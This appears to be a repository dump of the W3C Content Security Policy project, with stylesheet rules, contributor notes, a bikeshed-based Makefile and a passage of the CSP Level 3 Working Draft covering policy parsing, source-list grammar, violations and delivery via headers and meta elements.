[data-link-type="selector"]::after, [data-link-type="maybe"]::after {content: "\2019";} [data-link-type].production::before, [data-link-type].production::after, .prod [data-link-type]::before, .prod [data-link-type]::after { content: ""; } /* Element-type link styling */ [data-link-type=element] { font-family: monospace; } [data-link-type=element]::before { content: "<" } [data-link-type=element]::after { content: ">" } dfn { font-weight: bolder; } .issue, .note, .example, .why { padding: .5em; /* padding: .5rem; /* proposed unit in css3-values */ border-left-width: .5em; /* border-left-width: .5rem; /* proposed unit in css3-values */ border-left-style: solid; } span.note, span.issue { padding: .1em .5em .15em; border-right-width: .5em; border-right-style: solid; } /* Open issue / editorial remark; not intended for a final publication */ .issue { border-color: #E05252; background: #FBE9E9; counter-increment: issue; overflow: auto; } .issue:before { content: "Issue " counter(issue); padding-right: 1em; text-transform: uppercase; color: #E05252; } /* Class note is a non-normative note. May be inline or a P or DIV */ .note, .why { border-color: #52E052; background: #E9FBE9; overflow: auto; } .normref { color: red } .informref { color: green } /* Example box */ .example { border-color: #E0CB52; background: #FCFAEE; overflow: auto; } .example:before { color: #B9AB2D; font-family: sans-serif; } details.why { border-color: #52E052; background: #E9FBE9; display: block; } details.why > summary { font-style: italic; display: block; } details.why[open] > summary { border-bottom: 1px silver solid; } /* ToC not indented, but font style shows hierarchy */ ul.toc {margin: 1em 0; padding: 0; line-height: 1.3; font-weight: bold; /*text-transform: uppercase;*/ } ul.toc ul {margin: 0; padding: 0; font-weight: normal; text-transform: none; } ul.toc ul ul {margin: 0 0 0 2em; font-style: italic; } ul.toc ul ul ul {margin: 0} ul.toc > li {margin: 1.5em 0; padding: 0; } ul.toc ul.toc li { margin: 0.3em 0 0 0; } ul.toc a { text-decoration: none; border-bottom-style: none; } ul.toc a:hover, ul.toc a:focus { border-bottom-style: solid; } /* ul.toc li li li, ul.toc li li li ul {margin-left: 0; display: inline} ul.toc li li li ul, ul.toc li li li ul li {margin-left: 0; display: inline} */ /* Section numbers in a column of their own */ ul.toc span.secno {float: left; width: 4em; margin-left: -5em} ul.toc ul ul span.secno { margin-left: -7em; } /*ul.toc span.secno {text-align: right}*/ ul.toc li {clear: both} ul.toc {margin-left: 5em} /* If we had 'tab', floats would not be needed here: ul.toc span.secno {tab: 5em right; margin-right: 1em} ul.toc li {text-indent: 5em hanging} The second line in case items wrap */ ul.index { list-style: none; } s, del {text-decoration: line-through; color: red} u, ins {text-decoration: underline; color: #080} div.figure, p.figure, div.sidefigure, figure { text-align: center; margin: 2.5em 0; } div.figure pre, div.sidefigure pre, figure pre { text-align: left; display: table; margin: 1em auto; } .figure table, figure table { margin: auto; } div.sidefigure, figure.sidefigure { float: right; width: 50%; margin: 0 0 0.5em 0.5em } div.figure img, div.sidefigure img, figure img, div.figure object, div.sidefigure object, figure object { display: block; margin: auto; max-width: 100% } p.caption, figcaption, caption { text-align: center; font-style: italic; font-size: 90%; } p.caption:before, figcaption:before { content: "Figure " counter(figure) ". "; font-weight: bold; } p.caption, figcaption { counter-increment: figure; } /* DL list is indented, but figure inside it is not */ dd { margin-left: 2em } dd div.figure, dd figure { margin-left: -2em } sup { vertical-align: super; font-size: 80% } /* "Equations" (not real MathML, but simple HTML) are put in a blockquote and may have an equation number. We make sure the blockquote has enough margin on the right and then put the equation number there. */ blockquote { margin: 0.5em 4em 0.5em 2em; text-indent: 0; } .eqno { text-align: right; float: right; width: 3em; margin: 0 -4em 0 0; font-weight: bold; /* background: silver; color: black; padding: 0.1em */ } table.equiv-table { border-spacing: 0; margin: 0.5em 0 } table.equiv-table th, table.equiv-table td { padding: 0.3em } table.equiv-table th { text-align: left } /* table.equiv-table th:first-child { text-align: right } */ table.equiv-table td, table.equiv-table th { border-bottom: thin solid #666 } table.equiv-table { border-bottom: hidden } table.equiv-table { empty-cells: show } table.equiv-table caption { margin: 0.5em 0 0 0 } /* Style for table of properties */ table.proptable { font-size: small; border-collapse: collapse; border-spacing: 0; text-align: left; margin: 1em 0; } table.proptable td, table.proptable th { padding: 0.4em; text-align: center; } table.proptable tr:hover td { background: #DEF; } /* Style for table that defines a property or a descriptor */ table.propdef, table.propdef-extra, table.descdef, table.definition-table { border-spacing: 0; padding: 0 1em 0.5em; width: 100%; table-layout: fixed; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } table.propdef td, table.propdef-extra td, table.descdef td, table.definition-table td, table.propdef th, table.propdef-extra th, table.descdef th, table.definition-table th { padding: 0.5em; vertical-align: baseline; border-bottom: 1px solid #bbd7e9; } /* table.propdef dfn, table.propdef-extra dfn, table.descdef dfn { font-weight: bold; font-style: normal } */ table.propdef td:first-child, table.propdef-extra td:first-child, table.descdef td:first-child, table.definition-table td:first-child, table.propdef th:first-child, table.propdef-extra th:first-child, table.descdef th:first-child, table.definition-table th:first-child { font-style: italic; font-weight: normal; width: 8.3em; padding-left: 1em; } table.propdef td[colspan]:first-child, table.propdef-extra td[colspan]:first-child, table.descdef td[colspan]:first-child, table.definition-table td[colspan]:first-child, table.propdef th[colspan]:first-child, table.propdef-extra th[colspan]:first-child, table.descdef th[colspan]:first-child, table.definition-table th[colspan]:first-child { font-style: inherit } table.propdef tr:first-child, table.propdef-extra tr:first-child, table.descdef tr:first-child, table.definition-table tr:first-child { } table.propdef > tbody > tr:last-child th, table.propdef-extra > tbody > tr:last-child th, table.descdef > tbody > tr:last-child th, table.definition-table > tbody > tr:last-child th, table.propdef > tbody > tr:last-child td, table.propdef-extra > tbody > tr:last-child td, table.descdef > tbody > tr:last-child td, table.definition-table > tbody > tr:last-child td { border-bottom: 0; } table.propdef tr:first-child th, table.propdef-extra tr:first-child th, table.descdef tr:first-child th, table.definition-table tr:first-child th, table.propdef tr:first-child td, table.propdef-extra tr:first-child td, table.descdef tr:first-child td, table.definition-table tr:first-child td { padding-top: 1em; } /* For when values are extra-complex and need formatting for readability */ table td.pre { white-space: pre-wrap; } /* A footnote at the bottom of a propdef */ table.propdef td.footnote, table.propdef-extra td.footnote, table.descdef td.footnote, table.definition-table td.footnote { padding-top: 0.6em; width: auto } table.propdef td.footnote:before, table.propdef-extra td.footnote:before, table.descdef td.footnote:before, table.definition-table td.footnote:before { content: " "; display: block; height: 0.6em; width: 4em; border-top: thin solid; } /* The link in the first column in the property table (formerly a TD) */ table.proptable td .property, table.proptable th .property { display: block; text-align: left; font-weight: bold; } /* Styling for IDL fragments */ pre.idl { padding: .5em 1em; background: #DEF; margin: 1.2em 0; border-left: 0.5em solid #8CCBF2; } pre.idl :link, pre.idl :visited { color:inherit; background:transparent; } /* CSS modules typically don't use MUST, SHOULD etc. from RFC 2119, or, if they do, they don't put them in uppercase. But the following class is provided in case a spec wants to use RFC 2119 terms in uppercase in the source. */ em.rfc2119 { text-transform: lowercase; font-variant: small-caps; font-style: normal } /* In Profile specs, a table of required features: */ table.features th { background: #00589f; color: #fff; text-align: left; padding: 0.2em 0.2em 0.2em 0.5em; } table.features td { vertical-align: top; border-bottom: 1px solid #ccc; padding: 0.3em 0.3em 0.3em 0.7em; } /* Style for data tables (and properly marked-up proptables) */ .data, .proptable { margin: 1em auto; border-collapse: collapse; width: 100%; border: hidden; } .data { text-align: center; width: auto; } .data caption { width: 100%; } .data td, .data th, .proptable td, .proptable th { padding: 0.5em; border-width: 1px; border-color: silver; border-top-style: solid; } .data thead td:empty { padding: 0; border: 0; } .data thead th[scope="row"], .proptable thead th[scope="row"] { text-align: right; color: inherit; } .data thead, .proptable thead, .data tbody, .proptable tbody { color: inherit; border-bottom: 2px solid; } .data colgroup { border-left: 2px solid; } .data tbody th:first-child, .proptable tbody th:first-child , .data tbody td[scope="row"]:first-child, .proptable tbody td[scope="row"]:first-child { text-align: right; color: inherit; border-right: 2px solid; border-top: 1px solid silver; padding-right: 1em; } .data.define td:last-child { text-align: left; } .data tbody th[rowspan], .proptable tbody th[rowspan], .data tbody td[rowspan], .proptable tbody td[rowspan]{ border-left: 1px solid silver; } .data tbody th[rowspan]:first-child, .proptable tbody th[rowspan]:first-child, .data tbody td[rowspan]:first-child, .proptable tbody td[rowspan]:first-child{ border-left: 0; border-right: 1px solid silver; } .complex.data th, .complex.data td { border: 1px solid silver; } .data td.long { vertical-align: baseline; text-align: left; } .data img { vertical-align: middle; } table.propdef { table-layout: auto; } .propdef th { font-style: italic; font-weight: normal; text-align: left; width: 3em; } dt dfn code { font-size: inherit; } /* Style for switch/case
s */ dl.switch { padding-left: 2em; } dl.switch > dt { text-indent: -1.5em; } dl.switch > dt:before { content: '\21AA'; padding: 0 0.5em 0 0; display: inline-block; width: 1em; text-align: right; line-height: 0.5em; } /* Style for At Risk features (intended as editorial aid, not intended for publishing) */ .atrisk::before { position: absolute; margin-left: -5em; margin-top: -2px; padding: 4px; border: 1px solid; content: 'At risk'; font-size: small; background-color: white; color: gray; border-radius: 1em; text-align: center; } .toc .atrisk::before { content:none } /* This is mostly to make the list inside the CR exit criteria more compact. */ ol.inline, ol.inline li {display: inline; padding: 0; margin: 0} ol.inline {counter-reset: list-item} ol.inline li {counter-increment: list-item} ol.inline li:before {content: "(" counter(list-item) ") "; font-weight: bold} /* This styles the obsoletion notice on some of our older/abandoned specs. */ details.annoying-warning[open] { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; border: thick solid red; border-radius: 1em; position: fixed; left: 1em; right: 1em; bottom: 1em; z-index: 1000; } details.annoying-warning:not([open]) > summary { background: #fdd; color: red; font-weight: bold; text-align: center; padding: .5em; } ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Code of Conduct All documentation, code and communication under this repository are covered by the [W3C Code of Ethics and Professional Conduct](https://www.w3.org/Consortium/cepc/). ================================================ FILE: CONTRIBUTING.md ================================================ Contributions to this repository are intended to become part of Recommendation-track documents governed by the [W3C Patent Policy](https://www.w3.org/Consortium/Patent-Policy/) and [Software and Document License](https://www.w3.org/Consortium/Legal/copyright-software). To make substantive contributions to specifications, you must either participate in the relevant W3C Working Group or make a non-member patent licensing commitment. If you are not the sole contributor to a contribution (pull request), please identify all contributors in the pull request comment. To add a contributor (other than yourself, that's automatic), mark them one per line as follows: ``` +@github_username ``` If you added a contributor by mistake, you can remove them in a comment with: ``` -@github_username ``` If you are making a pull request on behalf of someone else but you had no part in designing the feature, you can remove yourself with the above syntax. # Tests See [CONTRIBUTING.md](https://github.com/w3c/webappsec/blob/master/CONTRIBUTING.md). ================================================ FILE: LICENSE.md ================================================ All documents in this Repository are licensed by contributors under the [W3C Software and Document License](https://www.w3.org/Consortium/Legal/copyright-software). ================================================ FILE: Makefile ================================================ SHELL=/bin/bash all: index.html ./api/index.html ./cookies/index.html ./pinning/index.html force: bikeshed -f spec ./index.bs bikeshed -f spec ./api/index.bs bikeshed -f spec ./cookies/index.bs bikeshed -f spec ./pinning/index.bs index.html: index.bs bikeshed -f spec ./index.bs FPWD: bikeshed -f spec --md-status=FPWD --md-date=2015-01-19 ./index.bs ./published/FPWD-2015-01.html WD: bikeshed -f spec --md-status=WD ./index.bs ./WD.html api/index.html: api/index.bs bikeshed -f spec ./api/index.bs cookies/index.html: cookies/index.bs bikeshed -f spec ./cookies/index.bs pinning/index.html: pinning/index.bs bikeshed -f spec ./pinning/index.bs ci: out/index.html out/index.html: index.bs mkdir -p out @ (HTTP_STATUS=$$(curl https://api.csswg.org/bikeshed/ \ --output $@ \ --write-out "%{http_code}" \ --header "Accept: text/plain, text/html" \ -F die-on=nothing \ -F file=@$<) && \ [[ "$$HTTP_STATUS" -eq "200" ]]) || ( \ echo ""; cat $@; echo ""; \ $(RM) -r out; \ exit 22 \ ); clean: $(RM) -r out $(RM) index.html ================================================ FILE: README.md ================================================ Content Security Policy ======================= CSP 3 is being specified in `index.bs` (published at ) CSP 2 is published as a CR at . CSP 1 is published as a Note at ================================================ FILE: WD.html ================================================ Content Security Policy Level 3

Content Security Policy Level 3

W3C Working Draft,


Abstract

This document defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at https://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Working Draft. This document is intended to become a W3C Recommendation.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “csp3” in the subject, preferably like this: “[csp3] …summary of comment…

Publication as a Working Draft does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

This document was produced by the Web Application Security Working Group.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 March 2017 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

“At-risk” is a W3C Process term-of-art, and does not necessarily imply that the feature is in danger of being dropped or delayed. It means that the WG believes the feature may have difficulty being interoperably implemented in a timely manner, and marking it as such allows the WG to drop the feature if necessary when transitioning to the Proposed Rec stage, without having to publish a new Candidate Rec without the feature first.

1. Introduction

This section is not normative.

This document defines Content Security Policy (CSP), a tool which developers can use to lock down their applications in various ways, mitigating the risk of content injection vulnerabilities such as cross-site scripting, and reducing the privilege with which their applications execute.

CSP is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth. It reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.

This document is an iteration on Content Security Policy Level 2, with the goal of more clearly explaining the interactions between CSP, HTML, and Fetch on the one hand, and providing clear hooks for modular extensibility on the other. Ideally, this will form a stable core upon which we can build new functionality.

1.1. Examples

1.1.1. Control Execution

MegaCorp Inc’s developers want to protect themselves against cross-site scripting attacks. They can mitigate the risk of script injection by ensuring that their trusted CDN is the only origin from which script can load and execute. Moreover, they wish to ensure that no plugins can execute in their pages' contexts. The following policy has that effect:
Content-Security-Policy: script-src https://cdn.example.com/scripts/; object-src 'none'

1.2. Goals

Content Security Policy aims to do to a few related things:

  1. Mitigate the risk of content-injection attacks by giving developers fairly granular control over

    • The resources which can be requested (and subsequently embedded or executed) on behalf of a specific Document or Worker

    • The execution of inline script

    • Dynamic code execution (via eval() and similar constructs)

    • The application of inline style

  2. Mitigate the risk of attacks which require a resource to be embedded in a malicious context (the "Pixel Perfect" attack described in [TIMING], for example) by giving developers granular control over the origins which can embed a given resource.

  3. Provide a policy framework which allows developers to reduce the privilege of their applications.

  4. Provide a reporting mechanism which allows developers to detect flaws being exploited in the wild.

1.3. Changes from Level 2

This document describes an evolution of the Content Security Policy Level 2 specification [CSP2]. The following is a high-level overview of the changes:

  1. The specification has been rewritten from the ground up in terms of the [FETCH] specification, which should make it simpler to integrate CSP’s requirements and restrictions with other specifications (and with Service Workers in particular).

  2. The child-src model has been substantially altered:

    1. The frame-src directive, which was deprecated in CSP Level 2, has been undeprecated, but continues to defer to child-src if not present (which defers to default-src in turn).

    2. A worker-src directive has been added, deferring to script-src if not present (which likewise defers to default-src in turn).

    3. child-src is now deprecated.

    4. Dedicated workers now always inherit their creator’s policy.

  3. The URL matching algorithm now treats insecure schemes and ports as matching their secure variants. That is, the source expression http://example.com:80 will match both http://example.com:80 and https://example.com:443.

    Likewise, 'self' now matches https: and wss: variants of the page’s origin, even on pages whose scheme is http.

  4. Violation reports generated from inline script or style will now report "inline" as the blocked resource. Likewise, blocked eval() execution will report "eval" as the blocked resource.

  5. The manifest-src directive has been added.

  6. The report-uri directive is deprecated in favor of the new report-to directive, which relies on [REPORTING] as infrastructure.

  7. The 'strict-dynamic' source expression will now allow script which executes on a page to load more script via non-"parser-inserted" script elements. Details are in §8.2 Usage of "'strict-dynamic'".

  8. The 'unsafe-hashed-attributes' source expression will now allow event handlers and style attributes to match hash source expressions. Details in §8.3 Usage of "'unsafe-hashed-attributes'".

    unsafe-hashed-attributes is a work in progress. <https://github.com/w3c/webappsec-csp/issues/13>

  9. The source expression matching has been changed to require explicit presence of any non-network scheme, rather than local scheme, unless that non-network scheme is the same as the scheme of protected resource, as described in §6.6.1.6 Does url match expression in origin with redirect count?.

  10. Hash-based source expressions may now match external scripts if the script element that triggers the request specifies a set of integrity metadata which is listed in the current policy. Details in §8.4 Allowing external JavaScript via hashes.

  11. The disown-opener directive ensures that a resource can’t be opened in such a way as to give another browsing context control over its contents.

    disown-opener is a work in progress. <https://github.com/w3c/webappsec-csp/issues/194>

  12. The navigation-to directive gives a resource control over the endpoints to which it can initiate navigation.

    navigation-to is a work in progress. <https://github.com/w3c/webappsec-csp/issues/125>

  13. Reports generated for inline violations will contain a sample attribute if the relevant directive contains the 'report-sample' expression.

2. Framework

2.1. Infrastructure

This document uses ABNF grammar to specify syntax, as defined in [RFC5234]. It also relies on the #rule ABNF extension defined in Section 7 of [RFC7230].

This document depends on the Infra Standard for a number of foundational concepts used in its algorithms and prose [INFRA].

2.2. Policies

A policy defines allowed and restricted behaviors, and may be applied to a Window, WorkerGlobalScope, or WorkletGlobalScope as described in §4.2.2 Initialize a global object’s CSP list.

Each policy has an associated directive set, which is an ordered set of directives that define the policy’s implications when applied.

Each policy has an associated disposition, which is either "enforce" or "report".

Each policy has an associated source, which is either "header" or "meta".

Multiple policies can be applied to a single resource, and are collected into a list of policies known as a CSP list.

A CSP list contains a header-delivered Content Security Policy if it contains a policy whose source is "header".

A serialized CSP is an ASCII string consisting of a semicolon-delimited series of serialized directives, adhering to the following ABNF grammar [RFC5234]:

serialized-policy = serialized-directive *( OWS ";" [ OWS serialized-directive ] )
                    ; OWS is defined in section 3.2.3 of RFC 7230

A serialized CSP list is an ASCII string consisting of a comma-delimited series of serialized CSPs, adhering to the following ABNF grammar [RFC5234]:

serialized-policy-list = 1#serialized-policy
                    ; The '#' rule is defined in section 7 of RFC 7230

2.2.1. Parse a serialized CSP

To parse a serialized CSP, given a serialized CSP (serialized), a source (source), and a disposition (disposition), execute the following steps.

This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.

  1. Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.

  2. For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):

    1. Strip leading and trailing ASCII whitespace from token.

    2. If token is an empty string, continue.

    3. Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.

    4. If policy’s directive set contains a directive whose name is directive name, continue.

      In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

    5. Let directive value be the result of splitting token on ASCII whitespace.

    6. Let directive be a new directive whose name is directive name, and value is directive value.

    7. Append directive to policy’s directive set.

  3. Return policy.

2.2.2. Parse a serialized CSP list

To parse a serialized CSP list, given a serialized CSP list (list), a source (source), and a disposition (disposition), execute the following steps.

This algorithm returns a list of Content Security Policy objects. If list cannot be parsed, the returned list will be empty.

  1. Let policies be an empty list.

  2. For each token returned by splitting list on commas:

    1. Let policy be the result of parsing token, with a source of source, and disposition of disposition.

    2. If policy’s directive set is empty, continue.

    3. Append policy to policies.

  3. Return policies.

2.3. Directives

Each policy contains an ordered set of directives (its directive set), each of which controls a specific behavior. The directives defined in this document are described in detail in §6 Content Security Policy Directives.

Each directive is a name / value pair. The name is a non-empty string, and the value is a set of non-empty strings. The value MAY be empty.

A serialized directive is an ASCII string, consisting of one or more whitespace-delimited tokens, and adhering to the following ABNF [RFC5234]:

serialized-directive = directive-name [ RWS directive-value ]
directive-name       = 1*( ALPHA / DIGIT / "-" )
directive-value      = *( %x09 / %x20-%x2B / %x2D-%x3A / %x3C-%7E )
                       ; Directive values may contain whitespace and VCHAR characters,
                       ; excluding ";" and ","

; RWS is defined in section 3.2.3 of RFC7230. ALPHA, DIGIT, and
; VCHAR are defined in Appendix B.1 of RFC 5234.

Directives have a number of associated algorithms:

  1. A pre-request check, which takes a request and a policy as an argument, and is executed during §4.1.3 Should request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  2. A post-request check, which takes a request, a response, and a policy as arguments, and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  3. A response check, which takes a request, a response, and a policy as arguments, and is executed during §4.1.4 Should response to request be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  4. An inline check, which takes an Element a type string, and a soure string as arguments, and is executed during §4.2.4 Should element’s inline type behavior be blocked by Content Security Policy?. This algorithm returns "Allowed" unless otherwise specified.

  5. An initialization, which takes a Document or global object, a response, and a policy as arguments. This algorithm is executed during §4.2.1 Initialize a Document's CSP list, and has no effect unless otherwise specified.

  6. A pre-navigation check, which takes a request, type string, and two browsing contexts as arguments, and is executed during §4.2.5 Should navigation request of type from source in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

  7. A navigation response check, which takes a request, a response and two browsing contexts as arguments, and is executed during §4.2.6 Should navigation response to navigation request of type from source in target be blocked by Content Security Policy?. It returns "Allowed" unless otherwise specified.

2.3.1. Source Lists

Many directives' values consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:

  1. Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)

  2. Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)

  3. Schemes such as https: (which matches any resource having the specified scheme)

  4. Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))

  5. Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)

  6. Digests such as 'sha256-abcd...' (which can match specific elements on a page)

A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

serialized-source-list = ( source-expression *( RWS source-expression ) ) / "'none'"
source-expression      = scheme-source / host-source / keyword-source
                         / nonce-source / hash-source

; Schemes: "https:" / "custom-scheme:" / "another.custom-scheme:"
scheme-source = scheme-part ":"

; Hosts: "example.com" / "*.example.com" / "https://*.example.com:12/path/to/file.js"
host-source = [ scheme-part "://" ] host-part [ ":" port-part ] [ path-part ]
scheme-part = scheme
              ; scheme is defined in section 3.1 of RFC 3986.
host-part   = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char   = ALPHA / DIGIT / "-"
port-part   = 1*DIGIT / "*"
path-part   = path-absolute
              ; path-absolute is defined in section 3.3 of RFC 3986.

; Keywords:
keyword-source = "'self'" / "'unsafe-inline'" / "'unsafe-eval'"
                 / "'strict-dynamic'" / "'unsafe-hashed-attributes'" /
                 / "'report-sample'"

; Nonces: 'nonce-[nonce goes here]'
nonce-source  = "'nonce-" base64-value "'"
base64-value  = 1*( ALPHA / DIGIT / "+" / "/" / "-" / "_" )*2( "=" )

; Digests: 'sha256-[digest goes here]'
hash-source    = "'" hash-algorithm "-" base64-value "'"
hash-algorithm = "sha256" / "sha384" / "sha512"

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.

Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §6.6.1.5 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.

2.4. Violations

A violation represents an action or resource which goes against the set of policy objects associated with a global object.

Each violation has a global object, which is the global object whose policy has been violated.

Each violation has a url which is its global object’s URL.

Each violation has a status which is a non-negative integer representing the HTTP status code of the resource for which the global object was instantiated.

Each violation has a resource, which is either null, "inline", "eval", or a URL. It represents the resource which violated the policy.

Each violation has a referrer, which is either null, or a URL. It represents the referrer of the resource whose policy was violated.

Each violation has a policy, which is the policy that has been violated.

Each violation has a disposition, which is the disposition of the policy that has been violated.

Each violation has an effective directive which is a non-empty string representing the directive whose enforcement caused the violation.

Each violation has a source file, which is either null or a URL.

Each violation has a line number, which is a non-negative integer.

Each violation has a column number, which is a non-negative integer.

Each violation has a element, which is either null or an element.

Each violation has a sample, which is a string. It is the empty string unless otherwise specified.

Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.

2.4.1. Create a violation object for global, policy, and directive

Given a global object (global), a policy (policy), and a string (directive), the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

  2. If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.

    Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].

    Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.

  3. If global is a Window object, set violation’s referrer to global’s document's referrer.

  4. Set violation’s status to the HTTP status code for the resource associated with violation’s global object.

    How, exactly, do we get the status code? We don’t actually store it anywhere.

  5. Return violation.

2.4.2. Create a violation object for request, policy, and directive

Given a request (request), a policy (policy), and a string (directive), the following algorithm creates a new violation object, and populates it with an initial set of data:

  1. Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

  2. Set violation’s resource to request’s url.

    Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

  3. Return violation.

3. Policy Delivery

A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in §3.1 The Content-Security-Policy HTTP Response Header Field and §3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in §3.3 The <meta> element.

3.1. The Content-Security-Policy HTTP Response Header Field

The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy = 1#serialized-policy
Content-Security-Policy: script-src 'self';
                         report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy header field values with different representations of the same resource.

A server SHOULD NOT send more than one HTTP response header field named "Content-Security-Policy" with a given resource representation.

When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in §4.1 Integration with Fetch, §4.2 Integration with HTML.

3.2. The Content-Security-Policy-Report-Only HTTP Response Header Field

The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:

Content-Security-Policy-Report-Only = 1#serialized-policy

This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-to csp-reporting-endpoint

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.

A server SHOULD NOT send more than one HTTP response header field named "Content-Security-Policy-Report-Only" with a given resource representation.

When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in §4.1 Integration with Fetch and §4.2 Integration with HTML.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. The <meta> element

A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Implementation details can be found in HTML’s Content Security Policy state http-equiv processing instructions [HTML].

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §8.1 The effect of multiple policies.

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

4. Integrations

This section is non-normative.

This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.

4.1. Integration with Fetch

A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.

  1. §4.1.3 Should request be blocked by Content Security Policy? is called as part of step #5 of its Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.

  2. §4.1.4 Should response to request be blocked by Content Security Policy? is called as part of step #13 of its Main Fetch algorithm. This allows directives' post-request checks and response checks to be executed on the response delivered from the network or from a Service Worker.

A policy is generally enforced upon a global object, but the user agent needs to parse any policy delivered via an HTTP response header field before any global object is created in order to handle directives that require knowledge of a response’s details. To that end:

  1. A response has an associated CSP list which contains any policy objects delivered in the response’s header list.

  2. §4.1.1 Set response’s CSP list is called in the HTTP fetch and HTTP-network fetch algorithms.

    Note: These two calls should ensure that a response’s CSP list is set, regardless of how the response is created. If we hit the network (via HTTP-network fetch, then we parse the policy before we handle the Set-Cookie header. If we get a response from a Service Worker (via HTTP fetch, we’ll process its CSP list before handing the response back to our caller.

4.1.1. Set response’s CSP list

